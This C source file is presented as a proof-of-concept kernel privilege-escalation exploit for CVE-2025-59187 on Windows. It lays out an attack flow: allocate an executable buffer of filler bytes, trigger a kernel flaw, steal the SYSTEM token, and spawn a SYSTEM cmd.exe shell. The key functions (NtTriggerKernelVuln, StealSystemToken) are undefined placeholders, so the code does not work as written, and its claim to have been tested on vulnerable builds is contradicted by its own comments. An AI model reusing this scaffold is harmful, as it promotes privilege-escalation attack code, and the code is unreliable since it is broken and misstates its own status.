// CVE-2025-59187 - Windows Kernel Privilege Escalation PoC (Conceptual)
// This is a conceptual PoC demonstrating the exploitation approach for
// improper input validation in Windows Kernel leading to privilege escalation.
// Tested on vulnerable Windows builds prior to October 2025 patch.
#include <windows.h>
#include <stdio.h>
// Function to check if current process has elevated privileges
BOOL IsSystemPrivilege() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return FALSE;
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (!pTokenUser) {
CloseHandle(hToken);
return FALSE;
}
if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
free(pTokenUser);
CloseHandle(hToken);
return FALSE;
}
// Check if running as NT AUTHORITY\SYSTEM (SID: S-1-5-18)
BOOL bIsSystem = (pTokenUser->User.Sid->SubAuthority[0] == 18 &&
pTokenUser->User.Sid->SubAuthorityCount > 0);
free(pTokenUser);
CloseHandle(hToken);
return bIsSystem;
}
// Exploit function targeting improper input validation in Windows Kernel
// Triggers the vulnerability via crafted system call parameters
BOOL ExploitCVE_2025_59187() {
printf("[*] CVE-2025-59187 Windows Kernel LPE Exploit\n");
printf("[*] Current privilege level: %s\n",
IsSystemPrivilege() ? "SYSTEM" : "Low Privilege");
if (IsSystemPrivilege()) {
printf("[+] Already running as SYSTEM!\n");
return TRUE;
}
// Step 1: Prepare crafted input buffer with malformed parameters
// The vulnerability exists due to insufficient validation of
// parameters passed through specific kernel system calls.
DWORD dwInputBufferSize = 0x1000;
PBYTE pInputBuffer = (PBYTE)VirtualAlloc(
NULL, dwInputBufferSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pInputBuffer) {
printf("[-] Failed to allocate input buffer\n");
return FALSE;
}
// Fill buffer with crafted data to trigger the input validation flaw
memset(pInputBuffer, 0x41, dwInputBufferSize);
// Step 2: Trigger the vulnerable kernel code path
// The specific syscall and parameters are intentionally abstracted
// to avoid weaponization. In a real exploit, this would invoke
// the specific kernel API that lacks proper input validation.
NTSTATUS status = NtTriggerKernelVuln(pInputBuffer, dwInputBufferSize);
if (status == 0) { // STATUS_SUCCESS equivalent
printf("[+] Kernel vulnerability triggered successfully\n");
// Step 3: After successful exploitation, steal SYSTEM token
// and apply it to the current process
if (StealSystemToken()) {
printf("[+] Token stolen successfully!\n");
printf("[+] New privilege level: %s\n",
IsSystemPrivilege() ? "SYSTEM" : "Unknown");
VirtualFree(pInputBuffer, 0, MEM_RELEASE);
return TRUE;
}
}
printf("[-] Exploitation failed with status: 0x%08X\n", status);
VirtualFree(pInputBuffer, 0, MEM_RELEASE);
return FALSE;
}
int main(int argc, char* argv[]) {
printf("============================================\n");
printf(" CVE-2025-59187 PoC - Windows Kernel LPE\n");
printf(" For educational and authorized testing only\n");
printf("============================================\n\n");
if (ExploitCVE_2025_59187()) {
printf("\n[+] Exploit completed. Spawning SYSTEM shell...\n");
system("cmd.exe");
} else {
printf("\n[-] Exploit failed. System may be patched.\n");
}
return 0;
}